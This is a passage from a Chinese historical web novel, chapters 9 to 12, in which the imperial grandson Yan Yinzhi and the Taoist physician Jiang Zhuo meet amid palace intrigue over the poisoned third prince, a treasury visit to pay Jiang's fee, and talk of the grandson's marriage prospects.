“去。”老掌柜低下头,看了眼手里的铜板,“总归也没有别的办法了。” * “怎么会没有别的办法?!” 刚走到贤德宫门口,严荫之就听到一声怒斥,伴随着瓷器落地的巨大声响。 前面引路的的小太监明显瑟缩了一下,而后才仿佛鼓起勇气一样,轻轻地叩了叩门:“启禀贵妃,太孙殿下到了。” 短暂的沉寂后,郑贵妃故作平静的声音传了出来:“请殿下进来吧。” 严荫之嗤笑一声,迈进了门。 毫不意外地,郑贵妃正端坐在外间的软榻上,面色如常地仿佛刚刚那声怒斥只是严荫之的幻觉。 在她下首的圈椅上,一个和她面容相似的中年男人站了起来,躬身行了一礼:“见过太孙殿下。” 郑书怀。 严荫之微微挑眉,看着几步之外的男人。 郑贵妃的胞兄,乾州刺史……前任。 因为手下长史构陷当地统军施文正致其惨死,半个月前这人被停了官,并且禁足在府闭门思过。 倒是没想到这么快就放出来了,还大摇大摆地进了宫,听着方才的意思,应该是和他那位妹妹凑在一起又在谋划些什么。 搞不好和自己有关呢。 这么想着,严荫之轻轻笑了一声,一双眼睛一眨不眨地看着郑书怀,将他从上到下扫了一遍,才慢悠悠地开口:“看来郑大人闭门这段时日过得还不错,看起来结实不少呢。” 郑书怀微低头:“殿下说笑了,臣这段时日一直谨遵圣喻在府内潜心思过,不敢有丝毫的放纵。” “是吗,那郑大人可要好好改过,日后别再有类似的疏漏了,”严荫之温声道,“毕竟那长史已经判了秋后问斩,以后就不能再出来挡罪了。” “你……”郑书怀明显变了脸色,刚要开口还击,突然想起对方的身份和当下的场合,只好又勉强咽了回去,咬着牙看向自己的亲妹妹。 郑贵妃立时会意,轻咳了一声开了口:“圣上这会不在这儿,殿下来是有什么事儿?” “来探望三叔啊,我又不是贵妃,什么事儿都得做给皇爷爷看,”严荫之说着话,就向里间走去,在门口突然又停下脚步,“对了,刚刚……” 郑贵妃皱眉:“刚怎么了?” “没怎么,就是想好心提醒一句,”严荫之放轻了声音,“三叔才刚醒,身体还虚弱着,贵妃不管和谁讨论些什么都该注意轻声才是。” 9.第九章 第九章 里间只有一位值守的太医,还有个负责照料严彻饮食起居的小太监,瞧见严荫之入内都赶忙站了起来,躬身行礼。 “我就看看三叔,不用多礼。” 严荫之向前走了几步,在离床榻还有几尺远的地方停了下来,垂下视线看着床榻上的严彻。 不知道是一直没睡,还是方才被外间的纷乱吵醒了,严彻正侧躺在枕上专注地看着一本书,听见严荫之的声音后才转过头,露出个意外却又明显高兴的笑容:“你来啦!” “嗯,”严荫之看着那张苍白又憔悴的小脸,“这会儿还看书,怎么不睡一会儿?” “睡不着,而且江道长说我前一阵睡得太多了,白天还是少睡一点好,”严彻笑眯眯地回道,“这不是普通的书,是话本,娘说看在生病的份儿上可以看一会儿。” 他说着,唇角扬了起来,眉眼之间都是掩盖不了的开心。 严荫之却皱了皱眉。 郑贵妃因为她那几乎不掩饰的野心,对这个独生子一直要求严格。 因而严彻虽然年岁不大,早早地就过上了天不亮就要起来读书练字,四书五经必须流利背诵,骑射武艺也要日日精进的生活。 哪怕是一个月前刚发病的时候,因为只以为是风寒,严彻的课业也没停下,每天依然要按时起来,服过药后再去书堂。 倒是没想到最后却是这差点要了他命的毒药给了他短暂的轻松。 “我看看是什么话本?”严荫之神情柔和了些,向前凑了凑看了眼严彻手里的书,“原来你喜欢这种志怪的,我那儿有不少,晚点让人给你送来。” “好啊,”严彻的眼睛亮了亮,随即又黯淡下来,声音也低了下去,“可是娘说过两日就不能看了,等能起身下床了就要抓紧时间把落下的课业补上。” 严荫之挑了挑眉,随即安慰道:“没关系,待会儿皇爷爷过来我和他说。” “真的吗!那……” 严彻弯了弯眼睛,话还没说完,突然捂着肚子剧烈地颤抖起来。 “三殿下!”旁边侍立的小太监吓了一跳,和太医一并慌忙地凑上前去察看。 严荫之更是没料到会有这样突然的状况,看着蜷缩成一团惨白着一张脸不停冒虚汗的严彻,好半天才问道:“怎么回事,不是吃了药吗?” “回殿下,”小太监从怀里摸出方帕子,手忙脚乱地替严彻擦着汗,“江道长说……” “这是怎么了?!” 突如其来的惊叫声打断了小太监的解释。 严荫之回过头,看到了刚迈进门就惊愣在原地的郑贵妃以及她身后的……江酌。 “回娘娘,三殿下这是……” “是什么?刚不还好好的吗,”郑贵妃几步来到床榻边,满脸的慌乱里夹杂着毫不掩饰的怒意,“你们怎么看人的,随便什么人就敢让他接近彻儿?!” 小太监跪在床榻边瑟缩着不敢说话。 严荫之轻轻哼了一声。 “怪不得刚才贵妃不跟着一起进来,我还以为是转了性,”先前的担忧与焦心在一瞬间散了个干净,他抱起手臂靠到旁边的桌上,微扬起下颌居高临下地看着郑贵妃,“原来是等着赖在本宫头上。” “胡说八道,”郑贵妃回头瞪他,“本宫又怎么知道……” “劳驾,让一下。”清淡的男声混合着浅浅的檀香味从耳后飘了过来。 严荫之下意识偏头,正对上一双清冷好看却又写满了不耐烦的眼睛。 “晨间我才提醒过,换了烈性药后三殿下会有很大的反应,我以为贵妃会记得。” 江酌把视线转回到严荫之身上,“现在我要替三殿下施针,劳烦殿下将桌案让出来。” “施针?”严荫之这才注意到这人身上的药箱,迎着那毫不客气的注目,识相地向旁边退了两步,“您请。” 江酌明显没料到他会这么配合,有些奇怪地朝那张方才还满是嘲讽的脸上看了一眼:“你……” “怎么?”严荫之歪了歪头,“江道长还有别的吩咐?” “不敢。”江酌收回视线,回手将药箱放在桌案上,潜心地忙碌起来。 一时间殿内谁都没有再说话,只有床榻上的严彻因为难捱的疼痛时不时地发出几声强忍后的闷哼。 郑贵妃听了几声终于按捺不住,看了看在药箱里翻找的江酌,小声问道:“江道长,施针后就能让彻儿止疼吗?” “只能稍微缓解,”江酌从药箱里找出了针包,抬眼扫见郑贵妃的神情,补充道,“并且只在发作后施针才能有效,不能预防。” “……明白了,”被猜中了心中所想,郑贵妃微微哽了哽,最后向旁边挪了挪,让出床榻前的位置,“劳烦你了。” “贵妃客气了。”江酌没什么感情地应了一声,径直走到床榻前坐下,又开了口,“我现下就要施针了,贵妃若是不放心可以在旁看着,但若还是要争执的话,还请二位出去。” “二位,”一直安静地待在旁边的严荫之挑眉,“还包括我?” 江酌没接话,只抬头看了他一眼,其中的意思不言而喻。 “成,道长说了算,反正我对道长也没什么不放心的,”严荫之放下胳膊,理了理前襟的褶皱,“就不在这儿打扰了。” “多谢殿下配合,”江酌抓过严彻的手腕,轻轻摸到脉上,“还请自便。” “好说。”严荫之盯着他看了一会,意味不明地笑了一声,转身向外间走去。 意料之中,郑书怀已经不在外面。 依着严荫之对这人的了解,该是自己前脚进了里间后脚就出了宫,生怕多待一会再留下什么把柄,失去好不容易得来的解禁。 因为郑贵妃不在,偌大的寝殿里这会连个宫人都瞧不见,严荫之也没兴趣再多逗留,回头朝里间里最后又看了一眼,就起身向外走去。 然后就跟推门而入的元成帝撞了个 满怀。 “皇爷爷!” 严荫之下意识地向后退了两步,眼瞧着元成帝整个晃了一下,又慌忙伸出了手,抢在内侍之前将人扶住,“您匆匆忙忙的,这是做什么?” “你这孩子怎么还倒打一耙,”元成帝站稳身体,在他手背上敲了一下,“着急忙慌地干什么去?” “我……”鼻息间萦绕着一股浓重的香烛味,意识到那是来自哪里,严荫之整个一顿。 他先前以为自家皇爷爷是因为朝务才没立即过来看苏醒的严彻,现下看来却是又和那些道士厮混在一起,说不定还搞了些什么消灾祈福的仪式。 也是。 一瞬后,严荫之在心底嘲弄地笑了一声。 反正严彻人已经醒了,对自家皇爷爷来说,这天底下没什么事儿还能比修行更重要。 他垂下眼眸,朝自己还扶着元成帝的手上看了一眼,再抬头时神情已经恢复如常,甚至还露出个满不在乎的笑:“我能干什么,是那位江道长在给三叔施针,我待这也是碍事,就想着回府去。” “施针?”元成帝探头朝里间看了一眼,挥了挥手示意跟着的内侍退下,“那我也不进去打扰了,正好你在这儿,我们祖孙俩说说话。” “好,”严荫之无所谓地耸了耸肩,扶着元成帝坐到软榻上,回身拿起桌上的茶壶轻轻嗅了嗅,“贵妃还真是对她那个哥哥好的很,上好的霍山黄芽都舍得拿出来招待。” “你刚瞧见书怀了?”元成帝靠在软枕上,听见这话立刻抬头朝严荫之脸上看了一眼,“这不是彻儿醒了吗,说是吵着想见舅舅,我便让人去传了旨……这次又停官又禁足,折腾了这么久他也得了教训,好歹也是贵妃的兄长,总不能一直关着。” “嗯,”严荫之不怎么在乎地应了一声,倒了盏茶奉到元成帝跟前,“不是我们祖孙俩说说话吗,总提郑书怀做什么,他停不停官禁不禁足的,该我什么事。” “你啊……”元成帝接了茶盏,语气有些无奈,“郑书怀是不关你的事,但你身为太孙,总该多关心些朝务,我现在年岁大了,你也该多分忧才是。” “好,分忧,”严荫之撇了撇嘴,在靠近里间门口的椅子上坐了下来,“那张天师的斋醮孙儿不是都去了吗,您的话我什么时候不听了?” “你倒是去了,全程怕是一直在打瞌睡吧,”元成帝轻轻笑了一声,又忍不住叹了口气,“提起张天师,我这会儿还真是有些头疼。” “不就是被掀了丹炉大清早地跑到您那儿又哭又闹了嘛。” 严荫之翘起腿,单手撑着下颌,正好能看见里间里江酌坐在床榻前,屏气凝神地将一根细长的毫针刺入严彻的腹间,“他……” “他什么?” “嗯?没什么,我是想说……”严荫之回过神来,却还是忍不住又朝那只纤长的手上看了一眼,而后才收回视线,“江道长不愧是修行之人,心地善良,要换了是我掀的可就不止是丹炉了。” 10.第十章 第十章 “你啊……” 元成帝喝了口茶,“说起来也是我的错,只想着都是修行中人,就让人把江酌安置了过去,倒是忘了还有祭炉的事儿……” 说到这儿,他朝里间看了一眼,语气有些无奈,“也没想到江酌的脾气这么大。” “嗯?原来您觉得是江酌的不对,”严荫之挑眉,“那好啊,待会儿他出来我就让人拿下,先押给张天师磕头赔罪,再以大不敬之罪送去大理寺……最起码也该判个流刑?” “胡说八道什么!我什么时候要治他的罪了?!”元成帝随手放下茶盏,瞪了严荫之一眼,“我只是有点感慨……这么点的小事儿说翻脸就翻脸,以后还怎么和这些同道结交?” “人家为什么要委曲求全地和那些老东西结交?”严荫之转过脸,冲着里间抬了抬下颌,“您别忘了,是您靠着和江玄明的那点交情千里迢迢地把人请回来的。” “……记着呢,所以我也只是随口说说,”元成帝说着,又笑了一声,“不过话说回来,我其实还挺喜欢他这性子,虽然有点麻烦,却也省了很多顾虑和猜忌。” “您这是想把人留在身边了?”严荫之想了想,“那您当初怎么不把江玄明召进宫?” “你以为教出这样的徒弟,江玄明能是什么好脾性?”元成帝轻轻地舒了口气,声音里带了感慨,还有一点不经掩饰的怀念,“他那个人随性惯了,端着副得道高人的样子,最喜欢天南地北地四处游历,只要看得上乞丐都能称兄道弟,要是看不上的,管是什么达官显贵好脸色绝不给一点……这样的人,别说他自己不愿意,我又何尝忍心把他拘束在这皇城里。” “那您还想着能留下江酌,”严荫之动了动身子,让自己靠得更舒服了点,“换做是我,外面大千世界自由自在,才不来这破地方受窝囊气。” “看看你这副样子,谁敢招惹你,”元成帝瞥了他一眼,瞧见他一副百无聊赖的样子又觉得有点好笑,声音也轻松了一点,“江酌的脾气秉性比起他师父不妨多让,确实不太会受拘束,索性彻儿的身体还要调养一阵,看看之后还有没有什么机会把人留下来。” “唔,”严荫之点了点头,不置可否,“那您可要多费点心思了。” 元成帝意外:“你居然不反对?” “他留不留下又碍不着我,我为什么要反对?”严荫之眉眼低垂,纤长的睫毛正好遮住眼底的情绪。 元成帝看在眼里,不由纳闷:“先前我要留其他的道长,你可不是这副态度。” “先前那些?那也怪不得我吧?” 一阵极轻的脚步声从里间传了出来,严荫之回过头,看着越来越近的江酌,顿了一下,接着说完后半句话,“……谁让他们长得丑。” 江酌:“?” 刚迈出门就听到这么句没头没尾莫名其妙的话,他脚步顿了顿,有些奇怪地朝这位竟然还坐在这里的皇太孙脸上看了一眼。 “怎么,”严荫之还保持着先前那副懒洋洋的姿态,手指漫不经心地把摩挲着腰间的玉佩,声音里带了点轻佻,“我在这儿也打扰道长?” “殿下只要保持安静,刚才就算是坐到榻上,也打扰不到我。” 施针耗费了太多心神,江酌感到十分的疲乏,懒得再在口舌上争执,抹了抹前额的汗,起身就要向外走。 然后就看到了软榻上笑吟吟的元成帝。 “辛苦了,”元成帝朝着跟在后面的小太监吩咐道,“还不给江道长看座奉茶?” “不用麻烦,”江酌朝小太监摆了摆手,回身朝元成帝施了一礼,“不知道圣上在这儿,失礼了。” “是我怕打扰你,没让人通传,”元成帝朝里间看了一眼,“彻儿现在怎么样了?” “稍微缓解了些,因为太久没正常饮食,还有些虚弱,贵妃正试着给他喂些吃的,”江酌垂下眼眸,“不过陛下还是要做好心理准备,三殿下接下来……都不会太好过。” “……知道了,其实彻儿能捡回这条命已是很不容易,我也不敢再奢求别的,”元成帝叹了口气,“只是这段日子要辛苦你了。” “是有点辛苦,”江酌也不客套,抬手揉了揉额角,而后又施了一礼,“所以没什么事我就先回观里了。” “嗯?”元成帝愣了愣,转头看向小太监,“江道长的住处还没安排妥当吗?” “奴婢……” “冯公公已经尽心安排了,是我不想住在宫里,”江酌打断道,“圣上放心,晚上的药已经备好了,有林太医亲自盯着煎服不会有问题,明早我再过来为三殿下施针。” “明早?”元成帝犹豫,“我记得青云观在城西的长乐坊,往返至少要半个时辰,这样是不是太奔波了些?” “唔,是有点,”江酌略微思索了一下,“那就劳烦圣上结算诊费的时候再多加一成吧。” 元成帝:“……” 他不太确定地摸了摸耳朵,迟疑道:“什么?” 江酌轻轻蹙眉:“圣上请我来给三殿下看诊,是不打算付诊费吗?” “自然不是,”元成帝顿了顿,“我只是以为……” “圣上只是和贵妃一样,以为我不喜金银俗物,”江酌了然地点了点头,“想必先前宫里的诸位道长都是出尘绝世的仙人做派,才让圣上对我也有了这种误解。” 仙人做派? 一直安静地坐在一旁的严荫之忍不住笑了起来。 元成帝瞪了他一眼,转头朝江酌露出个温和的笑容:“是我疏忽了,以为你会住在宫里,只想着先把吃穿用度安排妥帖,之后再给你奖……诊费。” 说到这儿,他转头看向外面,“来人……” “还是我去吧,”严荫之伸了个懒腰,慢悠悠地起身,“正好现在没什么事,我顺便去看看最近皇爷爷的内库里添了什么好东西。” “什么好东西能少得了你?”元成帝想了想,“江酌跟着同去吧,想要多少诊费、还有内库里的文玩字画药材补品或 者其他乱七八糟的东西,只要看得上,尽管拿就是。” “也好,”江酌点了点头,“观里还有事,结了诊费我正好直接回去……多谢圣上。” 他躬下身又行了一礼,而后抬眸看向几步之外的严荫之,“劳烦太孙殿下。” “难得道长这么客气,”严荫之翘起唇角,微微欠身做了个请的手势,“我还真是荣幸至极。” 江酌正起身要向外走,听见这话脚下一顿,回过头来却没从那张笑意盈盈的脸上看出丝毫阴阳怪气的痕迹。 不愧是自小在这尔虞我诈的皇城里长大的皇太孙。 也怪不得每次只要有他在,那郑贵妃都像一只好战的斗鸡。 这么想着,江酌扬了扬唇角,朝严荫之轻轻颔首后径直出了门。 “还真是不客气,”严荫之挑起了眉梢,“不过……” 那笑容倒是和第一次见到的时候一模一样。 和煦恬淡,却又带着分明的打量和一点掩饰过后的戏谑。 “荫之,”见他还站在原地,元成帝忍不住开口,“想什么呢?” “没什么,孙儿告退。” 严荫之回过神,朝元成帝施了一礼,转身跟了出去。 申时过半,太阳稍稍落了些许,午间的炎热却没退去多少。 皇城里娇生惯养的贵人们大概也受不了这样的天气,一路穿过巷道花园,途径桂殿兰宫无数,除了偶尔巡视的侍卫,竟是连个人影都没再瞧见。 这么对比起来…… 江酌微抬眼帘看了眼身前的严荫之。 方才在殿里大概是为了做给元成帝看,这位太孙殿下才主动又友好地和自己结交,揽了这个去内库的活。 却没想到这会一路顶着太阳走了大半条巷道,这人竟也没表露出分毫的不耐烦。 倒是和传闻里的肆意妄为不太一样。 “江道长,”几步外的严荫之突然开口,“一直打量我是有话要说?” “一点无关紧要的好奇而已,”江酌收回视线,看着脚下的青石砖面,“自己想想是人之常情,说出口就未免太过失礼了。” 严荫之回头看了他一眼:“原来江道长也怕失礼。” “嗯?”江酌听出他的戏谑,“看来这皇城里还真是没什么秘密,我晨间掀的丹炉,这会儿已经人尽皆知了?” 严荫之轻轻点头:“差不多,毕竟这种热闹平时可不多见。” “殿下只是看热闹?”江酌轻轻扬眉,“我还以为是想向我道谢。” 严荫之脚步不停,声音里带着好奇:“我为什么要道谢?” “太孙殿下不是一向厌恶修道之人吗,尤其是这位张天师,”江酌语气和缓,“虽然我是为了自己,但也算替殿下出了气,不是吗?” “江道长还真是跟其他道士不一样,连消息都这么灵通。” 严荫之停下脚步,回头盯着江酌看了一会,轻轻笑了一声,收回了视线,“到了,江道长请吧。” 11.第十一章 第十一章 不愧是当今天子的内库,从外部看起来十分普通的一座普通的宫殿,内里却是大有乾坤。 东西南北四个殿室里分门别类地装着文玩字画、珠玉香药、锦帛和金银钱币,放眼过去尽是奇珍异宝,直看得人眼花缭乱。 为了保护和管理这些珍宝,内库设了监官和宿卫在外间日行轮守巡查,任何人想要入内都需要得到元成帝的首肯,离开时还要经过仔细的登记和查验,以免夹带和私藏。 包括作为储君的皇太孙。 “我带江道长来领他的诊费。”严荫之从怀里摸出块样式精致的令牌递给值守的监官,转头看向江酌,“方才忘了问,江道长想要多少?” 想要多少?江酌蹙着眉头想了想:“殿下觉得我该要多少?” “我觉得?”严荫之看着他,“你过往在外游历的时候没替人看过诊?” “看过,但也不是每次都收诊费,”江酌回忆道,“急等钱吃饭的时候就多收一点,手头宽裕了也可以不要,大多还是要看对方的情况……像三殿下这种皇亲贵胄确实是第一次。” “你可真是……”严荫之挑了挑眉,回手从监官手里拿回令牌,吩咐道,“就按林太医的俸禄再加两成……怎么样?” “嗯?”那道含着莫名其妙笑意的目光又落回到身上,江酌这才意识到后半句话是对自己说的,思索之后点了点头。 虽然他并不知道林太医的俸禄是多少,也不知道这些钱够自己加上观里那两个小的花多久。 说起来这其实算是是师门传承。 过往的这些年里,江酌虽然一直在四处游历,却是对钱财之类的身外之物并没有什么分明的概念。 当然,也没至于像陆见真那样清心寡欲——除了在深山老林里实在不方便,大多时候他是绝不肯在饮食起居上亏待自己一点的。 反正花光了总有办法再赚到,又何必给自己找那么多拘束。 严荫之大概也看出了这一点,视线在那张清艳却又难得带了点迷茫的脸上停留了一会儿,扬了扬唇:“他们提取银钱还要一阵儿,可以四处逛逛……香药库里装了不少皇爷爷珍藏的药材,去看看有没有道长喜欢的?” 索性也无事可做,江酌点了点头:“好。” 旁边的点检立刻极有眼色地拿了钥匙,引着两人朝香药库走去。 出乎严荫之意料,医术高明的江道长对于香药库似乎并没有多大的兴趣,进了门后短暂地惊讶了一下,就像到了集市一样面无表情地逛了起来。 满殿的名贵药材里,除了西洋进贡的犀角琥珀之类稍微新鲜的玩意儿稍微让他凑近了把玩一下,其他诸如人参、灵芝又或者是石斛麝香他就像是没看到一样,从旁边走过时连丁点的停顿和惊叹都没有。 “看完了,”就这么走马观花地转了一圈后,江酌回到门口,“走吧。” “走?”严荫之皱眉,“没有一个能入眼的?” “嗯?”江酌抬眼,瞧见他的表情后立时会意,“确实都是举世难寻的珍品,不过对我来说药材嘛,治病救人的时候才是好东西,平白弄一些用不上的回去,搞不好还要被虫蛀。” “……有道理,”严荫之第一次听到这样的说法,回过神后忍不住笑了一声,“跟着江道长还真是长见识……去看看文玩字画?” “还是算了,药材好歹能拿去救命,字画之类的东西对我来说确是一点用处也没有……”江酌想了想,“圣上赐的东西总不能拿出去变卖。” “也是,”严荫之毫不意外,“那只能回去了。” “好。”江酌十分随和地点了点头,没有丝毫留恋地转身出门,沿着来路向外走去。 “殿下!属下听说这位江道长刚救了三殿下的性命,深受圣上器重……” 皇城里从来不缺道士,大都端着副沉稳可靠的世外高人的样子,点检还是第一次瞧见这种,原地愣了一下才想起跟上严荫之的脚步,小声道,“昨天才从桐城送来一批贡品,除了惯常的布帛陶器还有些鲜果新茶属下瞧着还算新鲜,不如带江道长去看看?” 严荫之偏过头,看向这位十分有眼力见的点检:“看就不用了,挑些最新鲜的直接送去青云观。” “是,”点检忙应声,“属下会亲自去挑选,之后安排最牢靠的人去送。” “好。”严荫之抬起头,目光落在几步外那道清瘦的身影上。 先前他没注意,江道长今日其实是换了件道袍的——差不多的青色,袖口没有补丁,却也能看得出来陈旧。 虽然因为这人长了张实在太过出众的脸,这样的衣袍也不会现出丝毫的落魄,甚至还多了几分闲雅超逸。 但若是能…… “挑几匹轻便的锦缎送到尚衣局,”严荫之突然开口,“成衣后一并送去青云观。” 点检迟疑:“是按照江道长的尺寸?” “不然呢?”严荫之沉吟稍许,又朝前看了一眼,“颜色的话,就天青色吧。” 点检张了张嘴,到底把心底那句“是不是要叫江道长到尚衣局量一下尺寸”咽了下去,应声道:“是。” 到底是为天子效力的属官,江酌和严荫之一前一后地回到金银钱库前时,方才那位监官已经备好了诊费,装在一个精致的钱袋里,恭恭敬敬地奉了过来。 “多谢,”江酌接过钱袋,打开扫了一眼就收进了怀里,转头看向几步外的严荫之,“也多谢太孙殿下,既然诊费拿到了,我就先回观里了。” “顺便的事儿,不用放在心上,”严荫之温声道,“道长愿意的话,我也可以顺便送你回青云观。” 顺便? 皇城旁的太孙府和城西长乐坊的那种顺便? 沉默地对视了一会,江酌终于开口:“为什么?” 严荫之眨了眨眼睛:“什么为什么?” “太孙殿下为什么要主动与我交好,”江酌扫了眼旁边的监官,向前走了 几步,站到严荫之跟前,“总不会是因为圣上现下依仗我?” “说不定呢,”严荫之微垂视线,看着他的眼睛,“身为太孙,我总要顾及皇爷爷的喜好。” “唔,”江酌点了点头,“看来是先前的道长们都入不了殿下的眼。” “这话倒也没错。” 严荫之轻轻笑了一声,而后就发现江酌蹙起了眉头,明显有转身要走的倾向,沉默了一下,最后选择坦诚道,“当然我也确实是对道长有事相求。” 江酌脚下一顿,回过头来看他。 严荫之缓声道:“过几天我想请道长随我去龙首山行宫出一趟诊。” “出诊,”江酌有些意外,“病患是谁?” 严荫之垂下眼帘,看了眼腰上的玉佩:“我娘。” 皇太孙的娘……那不就是昭惠太子的发妻? 江酌抬起头朝严荫之脸上看了一眼。 据说昭惠太子严衡和发妻秦氏是青梅竹马,感情甚笃,哪怕之后严衡承了太子之位,依然对这位发妻十分尊重,夫妻和睦,恩爱不疑。 也正是因此,在严衡早逝之后,秦氏伤心不已,最后冠巾入静步入玄门。 原来竟是病了? 一直没得到回答,严荫之忍不住抬起头,然后就对上了一双沉静的眼睛。 “虽然不知是什么病症,”江酌缓缓道,“若是太子妃的话,我可以试试。” 严荫之没料到他会答应的如此干脆,下意识问道:“为何?” “有人求诊,而我也正好有空闲。” 见面前人微蹙起眉头,眼底写着分明的疑虑,江酌想了想,又开了口,“若是非要找一个能让太孙殿下安心的理由……宁和年间叱兰进犯乾州,我在逃难途中与家人失散,流落到青州又遇上了叛军,若不是赶上昭惠太子起兵,我可能活不到被师父收养。” 说到这儿,他微微顿了顿,不知是不是回想起当年的场景,一向平和的声音里带了些许难得感慨:“其实我不是什么知恩图报的人,我这条性命对于当年的纷乱也十分微不足道,但给太子妃看诊,我也没有理由拒绝。而且……” 江酌轻轻仰头,一眨不眨地看着身前严荫之的眼睛:“说不定我也想和太孙殿下交好呢?” 二人的距离十分接近,以至于有那么一瞬,严荫之能从这人的眼睛里看见自己的倒影。 他怔了怔,强迫自己忽略那仿佛突然带了攻击性的檀香气,勾起唇角,轻声道:“要是这样的话,我倒是求之不得。” “唔,那就这么说定了,”江酌收回视线,又恢复了平日的淡然,“看诊的事殿下安排吧,出发前记得提前告知我,省得误了三殿下的药。” “好说,皇爷爷那里我也会提前告知。”严荫之轻轻颔首,“那现在我送道长回青云观?” “还是不用了,”江酌低下头理了理自己的袖口,而后朝着严荫之施了一礼,“那就过几日再见了,太孙殿下。” 12.第十二章 第十二章 尽管送江酌回青云观的好意遭到了拒绝,严荫之还是坚持将人送到了宫门外……这次确实是因为“顺便”。 临近傍晚,天色暗了些许,街巷上来往的行人少了许多,候在宫门外的两辆马车显得愈发显眼—— 尤其其中一辆跟前站着位穿着紫色官服、看面相不过三十余岁的年轻男人。 男人十分清瘦,腰背挺直,面容沉静,远远瞧着就是一副严肃端正不好相处的样子,却在严荫之走近时弯起眼睛,露出些许温和笑意:“殿下。” “先生!”严荫之难得规矩,躬下身十分认真地行了一礼,“您怎么在这儿?” “有些朝务向圣上禀奏,出来的时候瞧见殿下的马车,想顺路搭一程,”男人抬眼看向他身后,短暂地停顿后,轻轻颔首,“这位就是江道长吧?” “先生好眼力,”严荫之转过头,朝江酌介绍道,“这位是中书令徐孝大人。” 徐孝……江酌凝神盯着几步外的男人看了一会,敛眉还礼:“久闻徐大人大名。” ——这倒不是客套。 民间传闻里,中书令徐孝的确是赫赫有名。 昭惠太子生前挚友,也是助其起兵平叛的最大功臣,因而元成帝一登基,就拜他为太子少傅,之后更是进为中书令,协助太子处理朝务,统御百官。 此外,这位徐大人还是皇太孙严荫之的授业恩师。 也难怪在元成帝面前都十分肆意的太孙殿下这会竟是难得的规矩。 这么想着,江酌直起身后忍不住偏头朝严荫之脸上看了一眼。 严荫之有所察觉,转眸看他:“怎么?” “没怎么,”江酌微垂眼帘,“就是想着天色不早了,我观里还有事,先告辞了。” “请便,”严荫之向旁边侧了一步,让出前路,“这回真的是过几日再见了,江道长。” “好。”江酌十分有礼貌地朝徐孝点了点头,起身朝不远处的马车走去。 “江酌……” 一直盯着那道身影爬上马车,彻底消失在视线里,严荫之才收回目光,转眸发现自家先生正盯着马车的方向,一脸的若有所思,不由疑惑,“先生?” 徐孝回过视线:“上车再说。” 严荫之看了眼宫门口的侍卫,会意地点了点头。 马车摇摇晃晃地朝太孙府驶去,木制的车轮碾过青石砖路,发出阵阵声响。 “你……”徐孝掀开车帘,看了眼越来越远的皇城,淡淡开口,“在拉拢江酌。” 肯定的语气,没有丝毫疑惑。 “果然什么都瞒不了您,就那一会都看得出来。”严荫之向后靠了靠,也掀开了身边的车帘,让微风吹到脸上,“其实也不算拉拢,就是觉得他这个人……和先前那些道士都不一样,要是站到郑家那边会比较麻烦。” “嗯,”徐孝不置可否,“你们过几日要做什么?” 严荫之顿了顿:“我邀了他去行宫替我娘看诊。” 徐孝沉默了一瞬,而后极轻地叹了口气:“江道长医术高明,能去看看也好,却也不用报太高的期待,毕竟你娘她……” “我知道,心病难医嘛,除非江酌真是华佗在世……”严荫之垂下眼帘,低低地笑了一声,“怕是也不能让死人复生。” 徐孝几不可察地皱了皱眉。 “知道您要说什么,对外人我又不会说这种话,”严荫之舒了口气,再开口转了语气,“您找我有什么事儿,总不会真为了蹭马车吧?” “嗯,”徐孝看了他一眼,眉头舒展开来,“是你教徐礼说的那些话?” “什么话?”严荫之转过头,迎上徐孝的视线后忍不住弯了弯眼睛,“怎么这么容易就被您看穿了?” “因为他说话的语气和你当日不想上晨课,故意将自己折腾出风寒却又跑到我面前说可以坚持绝不会耽误课业时一模一样,”徐孝微阖眼帘,“只是你那时候年岁小,惨白着一张小脸,病殃殃的实在可怜,徐礼嘛……要不是看在那点白茶的份儿上,早让人打他出府了。” “那就怪不得我了,”严荫之靠在车壁上,笑了好一会才又开了口,语气诚恳,“不过您好歹也帮帮他,毕竟老夫人这么急迫地给他相看亲事,多少也跟您有关系。” 徐孝抬眼:“和我有什么关系?” “还不是您一直不肯娶妻,”严荫之单手托着下颌,“老夫人担心徐礼效仿您,就想着早把他的婚事定下来,也好替徐家延续血脉。” “……娘那边我会去说,”徐孝捏了捏额角,沉吟稍许,突然道,“你和徐礼同年,过几日太子忌辰一过,也该要有人替你相看亲事了。” “用不上过几日,”严荫之轻哼,“我舅舅现下就替我安排好了,前几天还带了画卷给我看呢。” 徐孝蹙眉:“秦家人?” “当然,太孙妃的位置他哪舍得给别人,”严荫之歪了歪头,语气感慨,“要不是我那表妹年岁实在太小,他巴不得要亲上加亲,好等着将来当国丈呢。” “秦家……”徐孝转眸看他,“你应下了?” “嗯,应下了,”严荫之道,“然后等着秦家人拥立我上位,当一个无所事事的傀儡。” “你……”徐孝失笑,“看来秦业已经急到连你都能看出他的野心了。” “我能看出来难道不是很正常,”严荫之哂笑,“您苦心教导这么多年,最后教出个蠢货岂不是要被气死?” “蠢不至于,我倒是怕你太聪明,”徐孝垂下眼帘思索了一会,“婚事确是不能答应,但也不用和秦家人闹得太僵。” “知道,”严荫之懒洋洋点头,“我那舅舅也是这么想的,被我拒绝后还说回去会再相看,一定替我找一个年轻貌美又知书达礼的太孙妃呢。” “那就这么拖着吧,”徐孝道,“或者你有了心仪的姑娘,只要家世清明,可以直接请封为太孙妃,断了秦业的念想。” “心仪的,”严荫之想了想,“红月楼的清倌算不上家世清明?” < p>徐孝瞪大了眼睛:“什么?” “逗您的,我连那清倌的名字都不知道,话也没说上一句,”严荫之道,“就是上次闲着和徐礼去听曲儿的时候瞧了一眼,觉得眉眼还算好看,刚就想起来了。” “所以上次御史参你是为了这件事?”徐孝转过头,“你是故意的?” “是啊,您不是说世无完人嘛,我总得让他们在我身上找到点无关紧要的错处,”严荫之无意识地摩挲着手指,“皇爷爷也好放心嘛。” 徐孝一时没说话,凝神看了他一会。 严格说起来,严荫之在长相上更为肖母,但这会儿,却好像从这张还带了稚气的脸上隐隐地看出了另一个更成熟也更沉稳的轮廓。 “我也放心了,”就这么过了好一会,徐孝突然舒了口气,“最起码你比太子殿下更知道要怎么当一个储君。” “我爹他……”严荫之沉默了一会,突然转头看向窗外,“您到了。” * “到了?” 从皇城到长乐坊的路程着实有些漫长,江酌小憩了好几觉才终于等到马车停下,这会儿正神清气爽,迫不及待地下了马车。 暮色渐至。 太阳已经不知所踪,火红的晚霞却还留在天际,绚烂地辉映着大地,连带青云观那道破旧的匾额似乎都沾染了霞光,让江酌忍不住多看了两眼才伸手推开了门。 然后就意外地看见灶房方向亮起了灯火,甚至还有炊烟飘过。 